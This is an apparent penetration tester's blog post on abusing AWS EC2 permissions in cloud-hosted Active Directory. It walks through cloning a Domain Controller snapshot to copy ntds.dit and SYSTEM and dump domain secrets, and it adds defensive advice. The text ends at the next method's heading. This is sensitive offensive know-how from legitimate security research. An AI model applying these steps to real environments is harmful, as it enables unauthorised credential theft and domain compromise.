Aegis9 - Blog

T L;DR: This blog post details some of the ways I found AWS permissions could be used to move laterally and escalate privileges in an Active Directory environment. There are probably equivalent ways of doing these things in Azure and Google Cloud as well - I just haven’t looked into them. With organisations’ increasing usage of cloud providers to host infrastructure, I feel these sorts of techniques could become increasingly relevant if the trend of employees working from home and companies looking to reduce hardware overhead costs continues. If I come across more techniques, there will likely be a follow up post.

Searching online did not reveal a great deal of research on the subject except this post by Chris Farris (my Google-fu may well have let me down here though) so I went digging around for myself to try and find some interesting techniques. I have detailed a couple of techniques here that Chris mentions in his post along with some others that I have not read about elsewhere. There are doubtless plenty more methods - I just haven’t spent enough time looking for them. If I find more I will try to detail them in a future blog post :-)

[EDIT] While writing this post, I saw a tweet by Tanner Barnes about creating volume snapshots for privilege escalation and the CloudCopy tool he wrote to do it, so I am far from the first person to have thought about these things. In fact, his tool was committed on GitHub 2 years ago, so I’m a little late to the party! Tanner’s method leveraged different AWS permissions to my use of existing snapshots so I have included his in this post too as it’s great.

If you want to skip straight to some of the methods, follow the links below:

Method 1: Lateral movement/Privilege Escalation via existing volume snapshots
Method 2: Lateral movement/Privilege Escalation via creating volume snapshots
Method 3: Lateral movement via volume detaching
Method 4: Local privilege escalation/Lateral movement via Systems Manager Start Session
Method 5: Local privilege escalation/Lateral movement via Systems Manager Send Command

Defenders

There is nothing I can add that hasn’t been said before for defending against these techniques, but I think it serves to highlight that there are extra defensive measures to be taken for cloud-based AD environments by making the AWS permissions as watertight as possible IN ADDITION to your usual AD configurations. So, to minimise the damage an attacker could do with compromised AWS tokens, the following should be considered:

Where possible, minimise access to AWS tokens by not hardcoding them in files and limiting AWS metadata service access;
Limit the resources on which AWS policies used in an environment can be applied; and
Limit where AWS policies used in an environment can be used from e.g. only from specific hosts.

If it is not possible or feasible to lock the permissions down completely, CloudWatch could be configured to monitor for, and alert on, use of these sorts of techniques.

Credit

Before going further, credit and thanks to the following people and their research, posts and tools which were what started me thinking of the art of the possible in this context and inspired this post. I highly recommend reading their posts for additional information:

Chris Farris for his Lateral Movement in AWS and other posts focusing on AWS security
Spencer Gietzen for his work on Pacu and posts on AWS Privilege Escalation
Xavier Garceau-Aranda for his work on ScoutSuite and excellent Offensive Cloud Security training course
Andy Robbins and Ryan Hausknecht for their research into Lateral Movement from Azure to On-Prem AD and Attacking Azure & Azure AD

Background

I recently had some down time between pen testing engagements and decided to use it to set up an Active Directory lab in AWS. My intention was to practice some AD lateral movement and AWS privilege escalation techniques such as those detailed in the great work by Rhino Security Labs’ Spencer Gietzen. While practicing and scouring AWS documentation, a question popped into my head (usually a dangerous thing):

"Surely hosting an Active Directory environment in the cloud provides additional methods to perform the sort of attacks we usually see in AD thanks to the ability to manage cloud resources and services. Instead of trying to move laterally in the Active Directory environment in the usual ways OR trying to escalate AWS permissions, could someone instead use AWS permissions as a way to laterally move and privilege escalate in Active Directory?"

Well, it turns out that you can, but you probably already figured that given there is some way more to go in this post. This may be common knowledge for many pen testers and red teamers, but several of the techniques are ones I have not seen detailed elsewhere and are techniques that I will add to my toolbox for future engagements.

What I was trying to achieve might seem like a strange concept if you have only dealt with traditional on-premises AD environments, but it makes sense in a cloud hosted environment where each component of the AD environment is just a cloud resource or service.

As a very simplistic example, a Domain Controller in an AWS environment consists an EC2 instance for its compute power and a storage volume (i.e. a hard drive) to store its data. The EC2 and the storage volume are both just AWS resources that have been coupled together. They can be administered independently, such as upgrading the EC2 compute power or switching out the storage volume... if you have the appropriate AWS permissions. It was these permissions (which are extremely granular and therefore there are a huge number of them) that I wanted to try and use for AD lateral movement and privilege escalation.

I only spent a short amount of time investigating so there are doubtless plenty more methods to be found.

Please note that the information below assumes some prior knowledge of AWS services, IAM roles and policies and how to enumerate them. I have not covered any of those topics to prevent this post turning into an epic and because others have already written material explaining them far better than I ever could.

AWS Permission Abuse Methods

Here are some ways AWS permissions can be used in an AWS hosted Active Directory environment to do things attackers like to do. With a little imagination, elements of them could be combined for different outcomes depending on what you want to achieve.

In all the scenarios, assume that the attacker has an AWS token which can be used via the AWS Command Line Interface (aws-cli). I go through the first method in detail with a walkthrough and just provide the relevant details in subsequent methods to try and prevent this post getting overly long or onerous to read through.

Method 1: Lateral movement/Privilege Escalation via existing volume snapshots

AWS permissions needed

Permission	Purpose	Required
ec2:CreateVolume	Create a new volume from a snapshot	Yes
ec2:AttachVolume	Attach newly created volume to an attacker controlled EC2 instance	Yes
ec2:DescribeSnapshots	Obtain snapshot identifiers	Maybe

Other pre-requisites

Permission	Purpose	Required
Local admin on an EC2 instance in the same environment	Allows mounting of the newly created volume on an attacker controlled EC2 instance	Yes
An existing volume snapshot	To create the new volume	Yes

Method

It is possible to snapshot storage volumes that are attached to EC2 instances. These snapshots can be used when creating a new storage volume to clone the snapshot into the new volume.

If we have AWS permissions to create new volumes and attach them to EC2 instances, they can be leveraged to move laterally or escalate domain privileges. The extra caveats are to have local admin (or root) on an EC2 instance and a way of obtaining a snapshot identifier.

As an example scenario, consider a situation where a snapshot has been taken of a Domain Controller’s storage volume and we have local admin rights on a Windows host. We also have an AWS token with ec2:DescribeSnapshots, ec2:CreateVolume and ec2:AttachVolume privileges.

First, we can use the aws ec2 describe-snapshots aws-cli call to obtain the snapshot identifier of all snapshots our access token has access to. The owner-ids parameter used below is not required but was used here just to filter out all of the AWS snapshots and only return those that I might be interested in. From the snapshot’s description it looks like it is from the Domain Controller. This is promising :-)

In fact, it is possible to confirm which EC2 instance this snapshot has come from even if the description is not helpful; the VolumeId value will match with the VolumeId of a specific EC2 instance in the output of an aws ec2 describe-instances command (if that permission has been granted). There are probably other ways to correlate the VolumeId with an EC2 instance depending on the permissions available.

Next, we use the aws ec2 create-volume aws-cli call to create a new volume from the snapshot whose identifier we just obtained. Note the volume identifier in the JSON response; it is different to the previous one and identifies the new volume that is a clone of the Domain Controller snapshot.

Now we can attach the newly created volume to an EC2 instance in the environment that we have local admin on by using the aws ec2 attach-volume aws-cli call. The reason for needing local admin will become apparent shortly. To attach the new volume, the EC2 instance’s identifier is required which can be obtained via the AWS meta-data service or numerous other aws-cli calls.

Note the mount point in the above image; the new volume gets mounted as an additional disk on the running EC2 instance. After logging in to the EC2 instance, we can bring the new volume online through the Disk Management GUI or diskpart command line utility. Use of either of these requires local admin privileges.

Now the cloned volume is mounted as the D drive and can be accessed on the EC2 instance. The great thing about this is that, unlike when it is mounted as the primary disk, none of the files we are interested in as an attacker are locked or subject to the usual ACLs. It is therefore possible to simply copy the ntds.dit and SYSTEM files from the mounted drive and profit greatly.

From here, we can dump the secrets from the Domain Controller backup and obtain Domain Admin privileges. I did this by first moving the copied files off the EC2 instance and onto a Kali VM.

I’m not sure how likely it is for this technique to be caught by CloudWatch, but I think it is an interesting way to compromise a system without touching it.

Additional Notes

I attempted to mount the cloned volume on an EC2 instance in a different AWS account to see whether this method could still work if we don’t have local admin within the target environment. The rationale was to leverage a personal AWS account to create EC2 instances that we had local admin on. It didn’t work, at least with the default snapshot creation parameters, as the volume wouldn’t mount to an EC2 instance running under a different account. Reading the AWS documentation, it appears the only way to share volumes between accounts is through creation of snapshots.

Bonus Round

The ability to create snapshots and make them available between AWS accounts (detailed in the next method) might give some other opportunities to make life easier for ourselves. In a locked down VPC where it is difficult to bring tools into the environment, how about creating a snapshot of a volume containing the tools in our own AWS account and making it available to the target environment’s account?

Then, the ec2:CreateVolume and ec2:AttachVolume permissions inside the target’s environment could be used to create a new volume from the shared snapshot and mount it on an EC2 instance (local admin still needed). Now our tools are available inside the target environment.

Method 2: Lateral movement/Privilege Escalation via creating volume snapshots